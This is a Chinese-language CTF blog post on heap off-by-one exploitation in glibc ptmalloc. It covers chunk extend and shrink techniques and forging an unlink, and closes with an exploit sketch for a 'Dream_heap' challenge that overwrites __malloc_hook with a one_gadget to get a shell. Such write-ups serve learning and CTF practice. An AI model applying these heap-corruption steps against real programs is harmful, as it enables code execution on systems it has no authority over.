OFF_BY_ONE

start

做了挺多 off by one 有点感悟总结一下. 在此感谢楠姐@Keenan的关于shrink+unlink的思路 以及xman时张燕秒老师关于off_by_one的启蒙

漏洞原理

溢出漏洞,但是又非常有限制只有溢出一个字节,而在一般off by one情况下溢出的往往是null_byte:\x00. 本文仅讨论heap 上出现的off by one

导致漏洞的情况非常多,我在这里列出在ctf比赛中最常见的几种情况:

攻击原理

主要漏洞的成因是我们可以溢出一个字节,但是那个字节在ptmalloc中又非常的重要,涉及到了 chunksize ,inuse.所以我们主要从chunksizeinuse来设计我们的攻击方式

chunksize

chunksize的修改可以分为两种 extendshrink //图片是在xmanppt里面偷来的.

extend

要求比较高但是利用起来简单. 要求对溢出的那一个字节不为null byte这样就可以拓展chunk 常见的利用方式有两个free + modifymodify + free

free + modify

free+modify

modify + free

free+modify

改变现有chunk B的size free之后再malloc回来就可以控制其之后的chunk

shrink

shrink要求不是很高只要 有null byte off就可以实现攻击 主要对inuse方面的操作 涉及到了unlink

free+modify

free+modify

通用的攻击流程如上图通过控制pre_sizepre_inuse来欺骗程序完成unlink造成overlap 其实理解了也不是非常难感觉很奇妙的利用方法,非常好用,膜一波想出来的神仙.

shrink其实还有一种简单的做法在某些场景非常的好用.

条件:已知chunk_list地址或者已知heap地址 设置好前一个chunk内容为

p64(0x0)+p64(size-0x10)+p64(&ptr-0x18)+p64(&ptr-0x10)+...+p64(0xsize-0x10)

这样可以直接通过set pre_size来做unlink使得*ptr=&ptr-0x18

在某些可以edit的题目中非常好用没有edit的话比较难实现利用.

构造一般shrink

add(0x400)#0
add(0x88)#1
add(0x18)#2
free(0)
add(0x18)#0
edit(0x18,"A"*0x18)
add(0x88)#3
add(0x88)#4
free(3)
free(1)

Deam_heap

题目保护

[*] '/home/n132/Desktop/Dream_heap/dream_heaps'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

由于extend的攻击比较简单就不放例子了用以下的binary来作为off_by_one的例子 binary

题目漏洞挺多

思路

add(0x3f0,”A”)#3 add(0x400,”A”)#4 add(0x288,”A”)#5 free(3) free(1) add(0x68,”A”)#6 edit(6,”A”) add(0x88,”B1”)#7 add(0x68,’B2’)#8 free(7) free(4) add(0x2d8,”A”)#9 free(8) add(0xa8,p64(0)17+p64(0x71)+p64(libc.symbols[‘__malloc_hook’]-35))#10 add(0x68,”A”)#11 one=base+0xf02a4 add(0x68,”\x00”19+p64(one))#12 gdb.attach(p) free(12) p.interactive() ```

可以看出在已知chunk_ptr地址时且有edit功能利用unlink可以降低攻击复杂度加快exp完成速度. 这里再次感谢楠姐@keenan

拓展阅读

storm